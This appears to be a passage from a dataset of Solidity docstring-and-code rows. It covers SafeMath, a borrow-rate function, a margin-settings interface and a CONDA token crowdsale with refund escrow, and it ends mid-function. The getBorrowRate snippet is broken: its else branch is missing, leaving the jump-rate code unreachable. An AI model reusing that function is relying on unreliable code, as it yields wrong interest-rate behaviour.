uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
Calculates the current borrow rate per block, with the error code expected by the market cash The amount of cash in the market borrows The amount of borrows in the market reserves The amount of reserves in the market return The borrow rate percentage per block as a mantissa (scaled by 1e18)/
|
function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) {
uint util = utilizationRate(cash, borrows, reserves);
if (util <= kink) {
return util.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
uint normalRate = kink.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
uint excessUtil = util.sub(kink);
return excessUtil.mul(jumpMultiplierPerBlock).div(1e18).add(normalRate);
}
}
| 30,853 |
./partial_match/42/0x088488b76Ad0c2710dEaB7c84B99b6576888A128/sources/SystemSettings.sol
|
File: contracts\interface\ISystemSettings.sol https:docs.synthetix.io/contracts/source/interfaces/isystemsettings
|
interface ISystemSettings {
function initMarginRatio()
external
view
returns (Decimal.decimal memory);
function maintenanceMarginRatio()
external
view
returns (Decimal.decimal memory);
function liquidationFeeRatio()
external
view
returns (Decimal.decimal memory);
function maxliquidationFee()
external
view
returns (Decimal.decimal memory);
function insuranceFundFeeRatio()
external
view
returns (Decimal.decimal memory);
function lpWithdrawFeeRatio()
external
view
returns (Decimal.decimal memory);
function lpFundRatio()
external
view
returns (Decimal.decimal memory);
function overnightFeeRatio()
external
view
returns (Decimal.decimal memory);
function overnightFeeLpShareRatio()
external
view
returns (Decimal.decimal memory);
function fundingFeeLpShareRatio()
external
view
returns (Decimal.decimal memory);
function overnightFeePeriod()
external
view
returns (uint256);
function isExistedExchange(IExchange _exchange) external view returns (bool);
function getAllExchanges() external view returns (IExchange[] memory);
function getInsuranceFund(IExchange _exchange) external view returns (IInsuranceFund);
function setNextOvernightFeeTime(IExchange _exchange) external;
}
| 3,420,648 |
pragma solidity ^0.5.0;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: contracts/crowdsale/interfaces/IGlobalIndex.sol
interface IGlobalIndex {
function getControllerAddress() external view returns (address);
function setControllerAddress(address _newControllerAddress) external;
}
// File: contracts/crowdsale/interfaces/ICRWDController.sol
interface ICRWDController {
function buyFromCrowdsale(address _to, uint256 _amountInWei) external returns (uint256 _tokensCreated, uint256 _overpaidRefund); //from Crowdsale
function assignFromCrowdsale(address _to, uint256 _tokenAmount, bytes8 _tag) external returns (uint256 _tokensCreated); //from Crowdsale
function calcTokensForEth(uint256 _amountInWei) external view returns (uint256 _tokensWouldBeCreated); //from Crowdsale
}
// File: openzeppelin-solidity/contracts/ownership/Secondary.sol
/**
* @title Secondary
* @dev A Secondary contract can only be used by its primary account (the one that created it)
*/
contract Secondary {
address private _primary;
event PrimaryTransferred(
address recipient
);
/**
* @dev Sets the primary account to the one that is creating the Secondary contract.
*/
constructor () internal {
_primary = msg.sender;
emit PrimaryTransferred(_primary);
}
/**
* @dev Reverts if called from any account other than the primary.
*/
modifier onlyPrimary() {
require(msg.sender == _primary);
_;
}
/**
* @return the address of the primary.
*/
function primary() public view returns (address) {
return _primary;
}
/**
* @dev Transfers contract to a new primary.
* @param recipient The address of new primary.
*/
function transferPrimary(address recipient) public onlyPrimary {
require(recipient != address(0));
_primary = recipient;
emit PrimaryTransferred(_primary);
}
}
// File: openzeppelin-solidity/contracts/payment/escrow/Escrow.sol
/**
* @title Escrow
* @dev Base escrow contract, holds funds designated for a payee until they
* withdraw them.
* @dev Intended usage: This contract (and derived escrow contracts) should be a
* standalone contract, that only interacts with the contract that instantiated
* it. That way, it is guaranteed that all Ether will be handled according to
* the Escrow rules, and there is no need to check for payable functions or
* transfers in the inheritance tree. The contract that uses the escrow as its
* payment method should be its primary, and provide public methods redirecting
* to the escrow's deposit and withdraw.
*/
contract Escrow is Secondary {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private _deposits;
function depositsOf(address payee) public view returns (uint256) {
return _deposits[payee];
}
/**
* @dev Stores the sent amount as credit to be withdrawn.
* @param payee The destination address of the funds.
*/
function deposit(address payee) public onlyPrimary payable {
uint256 amount = msg.value;
_deposits[payee] = _deposits[payee].add(amount);
emit Deposited(payee, amount);
}
/**
* @dev Withdraw accumulated balance for a payee.
* @param payee The address whose funds will be withdrawn and transferred to.
*/
function withdraw(address payable payee) public onlyPrimary {
uint256 payment = _deposits[payee];
_deposits[payee] = 0;
payee.transfer(payment);
emit Withdrawn(payee, payment);
}
}
// File: openzeppelin-solidity/contracts/payment/escrow/ConditionalEscrow.sol
/**
* @title ConditionalEscrow
* @dev Base abstract escrow to only allow withdrawal if a condition is met.
* @dev Intended usage: See Escrow.sol. Same usage guidelines apply here.
*/
contract ConditionalEscrow is Escrow {
/**
* @dev Returns whether an address is allowed to withdraw their funds. To be
* implemented by derived contracts.
* @param payee The destination address of the funds.
*/
function withdrawalAllowed(address payee) public view returns (bool);
function withdraw(address payable payee) public {
require(withdrawalAllowed(payee));
super.withdraw(payee);
}
}
// File: openzeppelin-solidity/contracts/payment/escrow/RefundEscrow.sol
/**
* @title RefundEscrow
* @dev Escrow that holds funds for a beneficiary, deposited from multiple
* parties.
* @dev Intended usage: See Escrow.sol. Same usage guidelines apply here.
* @dev The primary account (that is, the contract that instantiates this
* contract) may deposit, close the deposit period, and allow for either
* withdrawal by the beneficiary, or refunds to the depositors. All interactions
* with RefundEscrow will be made through the primary contract. See the
* RefundableCrowdsale contract for an example of RefundEscrow’s use.
*/
contract RefundEscrow is ConditionalEscrow {
enum State { Active, Refunding, Closed }
event RefundsClosed();
event RefundsEnabled();
State private _state;
address payable private _beneficiary;
/**
* @dev Constructor.
* @param beneficiary The beneficiary of the deposits.
*/
constructor (address payable beneficiary) public {
require(beneficiary != address(0));
_beneficiary = beneficiary;
_state = State.Active;
}
/**
* @return the current state of the escrow.
*/
function state() public view returns (State) {
return _state;
}
/**
* @return the beneficiary of the escrow.
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @dev Stores funds that may later be refunded.
* @param refundee The address funds will be sent to if a refund occurs.
*/
function deposit(address refundee) public payable {
require(_state == State.Active);
super.deposit(refundee);
}
/**
* @dev Allows for the beneficiary to withdraw their funds, rejecting
* further deposits.
*/
function close() public onlyPrimary {
require(_state == State.Active);
_state = State.Closed;
emit RefundsClosed();
}
/**
* @dev Allows for refunds to take place, rejecting further deposits.
*/
function enableRefunds() public onlyPrimary {
require(_state == State.Active);
_state = State.Refunding;
emit RefundsEnabled();
}
/**
* @dev Withdraws the beneficiary's funds.
*/
function beneficiaryWithdraw() public {
require(_state == State.Closed);
_beneficiary.transfer(address(this).balance);
}
/**
* @dev Returns whether refundees can withdraw their deposits (be refunded). The overriden function receives a
* 'payee' argument, but we ignore it here since the condition is global, not per-payee.
*/
function withdrawalAllowed(address) public view returns (bool) {
return _state == State.Refunding;
}
}
// File: contracts/crowdsale/library/CrowdsaleL.sol
/*
Copyright 2018, CONDA
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/** @title CrowdsaleL library. */
library CrowdsaleL {
using SafeMath for uint256;
///////////////////
// Structs
///////////////////
/// @dev All crowdsale states.
enum State { Draft, Started, Ended, Finalized, Refunding, Closed }
struct Data {
// The token being sold type ERC20
address token;
// status of crowdsale
State state;
// the max cap of tokens being sold
uint256 cap;
// the start time of crowdsale.
uint256 startTime;
// the end time of crowdsale
uint256 endTime;
// address where funds are collected
address payable wallet;
// the global index holding contract addresses
IGlobalIndex globalIndex;
// amount of tokens raised by money in all allowed currencies
uint256 tokensRaised;
}
struct Roles {
// can assign tokens on off-chain payments
address tokenAssignmentControl;
// role that can rescue accidentally sent tokens
address tokenRescueControl;
}
///////////////////
// Functions
///////////////////
/// @notice Initialize function for initial setup (during construction).
/// @param _assetToken The asset token being sold.
function init(Data storage _self, address _assetToken) public {
_self.token = _assetToken;
_self.state = State.Draft;
}
/// @notice Confiugure function for setup (during negotiations).
/// @param _wallet beneficiary wallet on successful crowdsale.
/// @param _globalIndex the contract holding current contract addresses.
function configure(
Data storage _self,
address payable _wallet,
address _globalIndex)
public
{
require(_self.state == CrowdsaleL.State.Draft, "not draft state");
require(_wallet != address(0), "wallet zero addr");
require(_globalIndex != address(0), "globalIdx zero addr");
_self.wallet = _wallet;
_self.globalIndex = IGlobalIndex(_globalIndex);
emit CrowdsaleConfigurationChanged(_wallet, _globalIndex);
}
/// @notice Set roles/operators.
/// @param _tokenAssignmentControl token assignment control (off-chain payment).
/// @param _tokenRescueControl token rescue control (accidentally assigned tokens).
function setRoles(Roles storage _self, address _tokenAssignmentControl, address _tokenRescueControl) public {
require(_tokenAssignmentControl != address(0), "addr0");
require(_tokenRescueControl != address(0), "addr0");
_self.tokenAssignmentControl = _tokenAssignmentControl;
_self.tokenRescueControl = _tokenRescueControl;
emit RolesChanged(msg.sender, _tokenAssignmentControl, _tokenRescueControl);
}
/// @notice gets current controller address.
function getControllerAddress(Data storage _self) public view returns (address) {
return IGlobalIndex(_self.globalIndex).getControllerAddress();
}
/// @dev gets controller with interface for internal use.
function getController(Data storage _self) private view returns (ICRWDController) {
return ICRWDController(getControllerAddress(_self));
}
/// @notice set cap.
/// @param _cap token cap of tokens being sold.
function setCap(Data storage _self, uint256 _cap) public {
// require(requireActiveOrDraftState(_self), "require active/draft"); // No! Could have been changed by AT owner...
// require(_cap > 0, "cap 0"); // No! Decided by AssetToken owner...
_self.cap = _cap;
}
/// @notice Low level token purchase function with ether.
/// @param _beneficiary who receives tokens.
/// @param _investedAmount the invested ETH amount.
function buyTokensFor(Data storage _self, address _beneficiary, uint256 _investedAmount)
public
returns (uint256)
{
require(validPurchasePreCheck(_self), "invalid purchase precheck");
(uint256 tokenAmount, uint256 overpaidRefund) = getController(_self).buyFromCrowdsale(_beneficiary, _investedAmount);
if(tokenAmount == 0) {
// Special handling full refund if too little ETH (could be small drift depending on off-chain API accuracy)
overpaidRefund = _investedAmount;
}
require(validPurchasePostCheck(_self, tokenAmount), "invalid purchase postcheck");
_self.tokensRaised = _self.tokensRaised.add(tokenAmount);
emit TokenPurchase(msg.sender, _beneficiary, tokenAmount, overpaidRefund, "ETH");
return overpaidRefund;
}
/// @dev Fails if not active or draft state
function requireActiveOrDraftState(Data storage _self) public view returns (bool) {
require((_self.state == State.Draft) || (_self.state == State.Started), "only active or draft state");
return true;
}
/// @notice Valid start basic logic.
/// @dev In contract could be extended logic e.g. checking goal)
function validStart(Data storage _self) public view returns (bool) {
require(_self.wallet != address(0), "wallet is zero addr");
require(_self.token != address(0), "token is zero addr");
require(_self.cap > 0, "cap is 0");
require(_self.startTime != 0, "time not set");
require(now >= _self.startTime, "too early");
return true;
}
/// @notice Set the timeframe.
/// @param _startTime the start time of crowdsale.
/// @param _endTime the end time of crowdsale.
function setTime(Data storage _self, uint256 _startTime, uint256 _endTime) public
{
_self.startTime = _startTime;
_self.endTime = _endTime;
emit CrowdsaleTimeChanged(_startTime, _endTime);
}
/// @notice crowdsale has ended check.
/// @dev Same code if goal is used.
/// @return true if crowdsale event has ended
function hasEnded(Data storage _self) public view returns (bool) {
bool capReached = _self.tokensRaised >= _self.cap;
bool endStateReached = (_self.state == CrowdsaleL.State.Ended || _self.state == CrowdsaleL.State.Finalized || _self.state == CrowdsaleL.State.Closed || _self.state == CrowdsaleL.State.Refunding);
return endStateReached || capReached || now > _self.endTime;
}
/// @notice Set from finalized to state closed.
/// @dev Must be called to close the crowdsale manually
function closeCrowdsale(Data storage _self) public {
require((_self.state == State.Finalized) || (_self.state == State.Refunding), "state");
_self.state = State.Closed;
}
/// @notice Checks if valid purchase before other ecosystem contracts roundtrip (fail early).
/// @return true if the transaction can buy tokens
function validPurchasePreCheck(Data storage _self) private view returns (bool) {
require(_self.state == State.Started, "not in state started");
bool withinPeriod = now >= _self.startTime && _self.endTime >= now;
require(withinPeriod, "not within period");
return true;
}
/// @notice Checks if valid purchase after other ecosystem contracts roundtrip (double check).
/// @return true if the transaction can buy tokens
function validPurchasePostCheck(Data storage _self, uint256 _tokensCreated) private view returns (bool) {
require(_self.state == State.Started, "not in state started");
bool withinCap = _self.tokensRaised.add(_tokensCreated) <= _self.cap;
require(withinCap, "not within cap");
return true;
}
/// @notice simple token assignment.
function assignTokens(
Data storage _self,
address _beneficiaryWallet,
uint256 _tokenAmount,
bytes8 _tag)
public returns (uint256 _tokensCreated)
{
_tokensCreated = getController(_self).assignFromCrowdsale(
_beneficiaryWallet,
_tokenAmount,
_tag);
emit TokenPurchase(msg.sender, _beneficiaryWallet, _tokensCreated, 0, _tag);
return _tokensCreated;
}
/// @notice calc how much tokens you would receive for given ETH amount (all in unit WEI)
/// @dev no view keyword even if it SHOULD not change the state. But let's not trust other contracts...
function calcTokensForEth(Data storage _self, uint256 _ethAmountInWei) public view returns (uint256 _tokensWouldBeCreated) {
return getController(_self).calcTokensForEth(_ethAmountInWei);
}
/// @notice If this contract gets a balance in some other ERC20 contract - or even iself - then we can rescue it.
/// @param _foreignTokenAddress token where contract has balance.
/// @param _to the beneficiary.
function rescueToken(Data storage _self, address _foreignTokenAddress, address _to) public
{
ERC20(_foreignTokenAddress).transfer(_to, ERC20(_foreignTokenAddress).balanceOf(address(this)));
}
///////////////////
// Events (must be redundant in calling contract to work!)
///////////////////
event TokenPurchase(address indexed invoker, address indexed beneficiary, uint256 tokenAmount, uint256 overpaidRefund, bytes8 tag);
event CrowdsaleTimeChanged(uint256 startTime, uint256 endTime);
event CrowdsaleConfigurationChanged(address wallet, address globalIndex);
event RolesChanged(address indexed initiator, address tokenAssignmentControl, address tokenRescueControl);
}
// File: contracts/crowdsale/library/VaultGeneratorL.sol
/*
Copyright 2018, CONDA
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/** @title VaultGeneratorL library. */
library VaultGeneratorL {
/// @notice generate RefundEscrow vault.
/// @param _wallet beneficiary on success.
/// @return vault address that can be casted to interface.
function generateEthVault(address payable _wallet) public returns (address ethVaultInterface) {
return address(new RefundEscrow(_wallet));
}
}
// File: contracts/crowdsale/interfaces/IBasicAssetToken.sol
interface IBasicAssetToken {
//AssetToken specific
function getLimits() external view returns (uint256, uint256, uint256, uint256);
function isTokenAlive() external view returns (bool);
//Mintable
function mint(address _to, uint256 _amount) external returns (bool);
function finishMinting() external returns (bool);
}
// File: contracts/crowdsale/interface/EthVaultInterface.sol
/**
* Based on OpenZeppelin RefundEscrow.sol
*/
interface EthVaultInterface {
event Closed();
event RefundsEnabled();
/// @dev Stores funds that may later be refunded.
/// @param _refundee The address funds will be sent to if a refund occurs.
function deposit(address _refundee) external payable;
/// @dev Allows for the beneficiary to withdraw their funds, rejecting
/// further deposits.
function close() external;
/// @dev Allows for refunds to take place, rejecting further deposits.
function enableRefunds() external;
/// @dev Withdraws the beneficiary's funds.
function beneficiaryWithdraw() external;
/// @dev Returns whether refundees can withdraw their deposits (be refunded).
function withdrawalAllowed(address _payee) external view returns (bool);
/// @dev Withdraw what someone paid into vault.
function withdraw(address _payee) external;
}
// File: contracts/crowdsale/BasicAssetTokenCrowdsaleNoFeature.sol
/*
Copyright 2018, CONDA
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/** @title BasicCompanyCrowdsale. Investment is stored in vault and forwarded to wallet on end. */
contract BasicAssetTokenCrowdsaleNoFeature is Ownable {
using SafeMath for uint256;
using CrowdsaleL for CrowdsaleL.Data;
using CrowdsaleL for CrowdsaleL.Roles;
/**
* Crowdsale process has the following steps:
* 1) startCrowdsale
* 2) buyTokens
* 3) endCrowdsale
* 4) finalizeCrowdsale
*/
///////////////////
// Variables
///////////////////
CrowdsaleL.Data crowdsaleData;
CrowdsaleL.Roles roles;
///////////////////
// Constructor
///////////////////
constructor(address _assetToken) public {
crowdsaleData.init(_assetToken);
}
///////////////////
// Modifier
///////////////////
modifier onlyTokenRescueControl() {
require(msg.sender == roles.tokenRescueControl, "rescueCtrl");
_;
}
///////////////////
// Simple state getters
///////////////////
function token() public view returns (address) {
return crowdsaleData.token;
}
function wallet() public view returns (address) {
return crowdsaleData.wallet;
}
function tokensRaised() public view returns (uint256) {
return crowdsaleData.tokensRaised;
}
function cap() public view returns (uint256) {
return crowdsaleData.cap;
}
function state() public view returns (CrowdsaleL.State) {
return crowdsaleData.state;
}
function startTime() public view returns (uint256) {
return crowdsaleData.startTime;
}
function endTime() public view returns (uint256) {
return crowdsaleData.endTime;
}
function getControllerAddress() public view returns (address) {
return address(crowdsaleData.getControllerAddress());
}
///////////////////
// Events
///////////////////
event TokenPurchase(address indexed invoker, address indexed beneficiary, uint256 tokenAmount, uint256 overpaidRefund, bytes8 tag);
event CrowdsaleTimeChanged(uint256 startTime, uint256 endTime);
event CrowdsaleConfigurationChanged(address wallet, address globalIndex);
event RolesChanged(address indexed initiator, address tokenAssignmentControl, address tokenRescueControl);
event Started();
event Ended();
event Finalized();
///////////////////
// Modifiers
///////////////////
modifier onlyTokenAssignmentControl() {
require(_isTokenAssignmentControl(), "only tokenAssignmentControl");
_;
}
modifier onlyDraftState() {
require(crowdsaleData.state == CrowdsaleL.State.Draft, "only draft state");
_;
}
modifier onlyActive() {
require(_isActive(), "only when active");
_;
}
modifier onlyActiveOrDraftState() {
require(_isActiveOrDraftState(), "only active/draft");
_;
}
modifier onlyUnfinalized() {
require(crowdsaleData.state != CrowdsaleL.State.Finalized, "only unfinalized");
_;
}
/**
* @dev is crowdsale active or draft state that can be overriden.
*/
function _isActiveOrDraftState() internal view returns (bool) {
return crowdsaleData.requireActiveOrDraftState();
}
/**
* @dev is token assignmentcontrol that can be overriden.
*/
function _isTokenAssignmentControl() internal view returns (bool) {
return msg.sender == roles.tokenAssignmentControl;
}
/**
* @dev is active check that can be overriden.
*/
function _isActive() internal view returns (bool) {
return crowdsaleData.state == CrowdsaleL.State.Started;
}
///////////////////
// Status Draft
///////////////////
/// @notice set required data like wallet and global index.
/// @param _wallet beneficiary of crowdsale.
/// @param _globalIndex global index contract holding up2date contract addresses.
function setCrowdsaleData(
address payable _wallet,
address _globalIndex)
public
onlyOwner
{
crowdsaleData.configure(_wallet, _globalIndex);
}
/// @notice get token AssignmenControl who can assign tokens (off-chain payments).
function getTokenAssignmentControl() public view returns (address) {
return roles.tokenAssignmentControl;
}
/// @notice get token RescueControl who can rescue accidentally assigned tokens to this contract.
function getTokenRescueControl() public view returns (address) {
return roles.tokenRescueControl;
}
/// @notice set cap. That's the limit how much is accepted.
/// @param _cap the cap in unit token (minted AssetToken)
function setCap(uint256 _cap) internal onlyUnfinalized {
crowdsaleData.setCap(_cap);
}
/// @notice set roles/operators.
/// @param _tokenAssignmentControl can assign tokens (off-chain payments).
/// @param _tokenRescueControl address that is allowed rescue tokens.
function setRoles(address _tokenAssignmentControl, address _tokenRescueControl) public onlyOwner {
roles.setRoles(_tokenAssignmentControl, _tokenRescueControl);
}
/// @notice set crowdsale timeframe.
/// @param _startTime crowdsale start time.
/// @param _endTime crowdsale end time.
function setCrowdsaleTime(uint256 _startTime, uint256 _endTime) internal onlyUnfinalized {
// require(_startTime >= now, "starTime in the past"); //when getting from AT that is possible
require(_endTime >= _startTime, "endTime smaller start");
crowdsaleData.setTime(_startTime, _endTime);
}
/// @notice Update metadata like cap, time etc. from AssetToken.
/// @dev It is essential that this method is at least called before start and before end.
function updateFromAssetToken() public {
(uint256 _cap, /*goal*/, uint256 _startTime, uint256 _endTime) = IBasicAssetToken(crowdsaleData.token).getLimits();
setCap(_cap);
setCrowdsaleTime(_startTime, _endTime);
}
///
// Status Started
///
/// @notice checks all variables and starts crowdsale
function startCrowdsale() public onlyDraftState {
updateFromAssetToken(); //IMPORTANT
require(validStart(), "validStart");
prepareStart();
crowdsaleData.state = CrowdsaleL.State.Started;
